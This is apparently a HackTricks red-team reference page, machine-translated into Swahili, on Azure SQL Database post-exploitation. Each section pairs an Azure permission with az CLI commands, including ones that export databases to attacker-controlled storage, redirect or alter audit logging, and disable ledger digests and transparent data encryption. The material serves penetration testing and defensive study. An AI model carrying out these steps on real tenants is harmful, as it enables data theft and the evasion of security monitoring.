Az - SQL Database Post Exploitation

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SQL Database Post Exploitation

Kwa maelezo zaidi kuhusu SQL Database angalia:

Az - SQL

Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write

Kwa ruhusa hizi, mshambuliaji anaweza kuunda na kusasisha databases ndani ya mazingira yaliyoathiriwa. Shughuli hii ya baada ya unyakuzi inaweza kumwezesha mshambuliaji kuongeza data mbaya, kubadilisha mipangilio ya database, au kuingiza backdoors kwa ajili ya kudumu zaidi, ambayo inaweza kuathiri shughuli au kuwezesha vitendo vingine vya uhalifu.

bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

Kwa ruhusa hizi (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write) unaweza kurejesha database iliyofutwa:

bash
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read

Kwa ruhusa hizi, mshambuliaji anaweza kuunda na kusasisha elasticPools ndani ya mazingira yaliyoathiriwa. Shughuli hii ya baada ya unyakuzi inaweza kumwezesha mshambuliaji kuongeza data mbaya, kubadilisha mipangilio ya hifadhidata, au kuingiza milango ya nyuma kwa ajili ya kudumu zaidi, ambayo inaweza kuathiri shughuli au kuwezesha vitendo vingine vya uhalifu.

bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write

Kwa ruhusa hii, unaweza kubadilisha au kuwezesha mipangilio ya ukaguzi kwenye Azure SQL Server. Hii inaweza kumruhusu mshambuliaji au mtumiaji aliyeidhinishwa kubadilisha usanidi wa ukaguzi, ambayo inaweza kuficha alama au kuelekeza kumbukumbu za ukaguzi kwenye eneo chini ya udhibiti wao. Hii inaweza kuzuia ufuatiliaji wa usalama au kuwezesha kuendelea kufuatilia vitendo. KUMBUKA: Ili kuwezesha ukaguzi kwa Azure SQL Server ukitumia Blob Storage, lazima uunganishe akaunti ya hifadhi ambapo kumbukumbu za ukaguzi zinaweza kuhifadhiwa.

bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write

Kwa ruhusa hii, unaweza kubadilisha sera za muunganisho za Azure SQL Server. Uwezo huu unaweza kutumika kubadilisha au kubadilisha mipangilio ya muunganisho ya kiwango cha seva.

bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

Microsoft.Sql/servers/databases/export/action

Kwa ruhusa hii, unaweza kusafirisha database kutoka kwa Azure SQL Server hadi akaunti ya hifadhi. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha data nyeti kutoka kwa database kwa kuisafirisha hadi mahali wanapodhibiti, na kuleta hatari kubwa ya uvunjaji wa data. Ni muhimu kujua funguo za hifadhi ili uweze kufanya hivi.

bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

Microsoft.Sql/servers/databases/import/action

Kwa ruhusa hii, unaweza kuingiza database kwenye Azure SQL Server. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha databases zenye madhara au zilizobadilishwa. Hii inaweza kusababisha kupata udhibiti wa data nyeti au kwa kuingiza scripts au triggers zenye madhara ndani ya database iliyounganishwa. Zaidi ya hayo, unaweza kuingiza kwenye seva yako mwenyewe katika azure. Kumbuka: Seva lazima iruhusu huduma na rasilimali za Azure kufikia seva hiyo.

bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`

Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read

Kwa ruhusa hizi, mtumiaji anaweza kubadilisha na kupata sera za muunganisho za seva ya Azure SQL. Ruhusa hizi zinamruhusu mtu kubadilisha jinsi wateja wanavyoungana na seva—kuchagua kati ya mbinu kama vile kuhamasisha au wakala—ambayo inaweza kutumika kudhoofisha usalama, kuhamasisha trafiki, au kukamata data nyeti ikiwa imewekwa vibaya.

bash
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>

Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read

Kwa ruhusa hizi, mtumiaji anaweza kuboresha na kupata funguo za usimbuaji zinazohusiana na Azure SQL Server. Funguo hizi mara nyingi hutumiwa kulinda data nyeti kupitia usimbuaji, hivyo kuziendesha kunaweza kuhatarisha usalama wa data kwa kuruhusu usimbuaji usioidhinishwa au mabadiliko ya kuzungusha funguo.

bash
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef

Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read

Hii ruhusa inaruhusu kuzima Ledger Digest kwa Azure SQL Database, ambayo inasimamisha upakiaji wa mara kwa mara wa rekodi za cryptographic digest kwenye Azure Blob Storage ambazo zinathibitisha uadilifu wa data.

bash
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server

Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read

Ruhusa hii inaruhusu mtumiaji aliyeidhinishwa au mshambuliaji kuwezesha, kuzima, au kubadilisha mipangilio ya Transparent Data Encryption (TDE) kwenye hifadhidata ya Azure SQL, ambayo inaweza kuathiri usalama wa data kwa kubadilisha mipangilio ya usimbaji.

bash
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks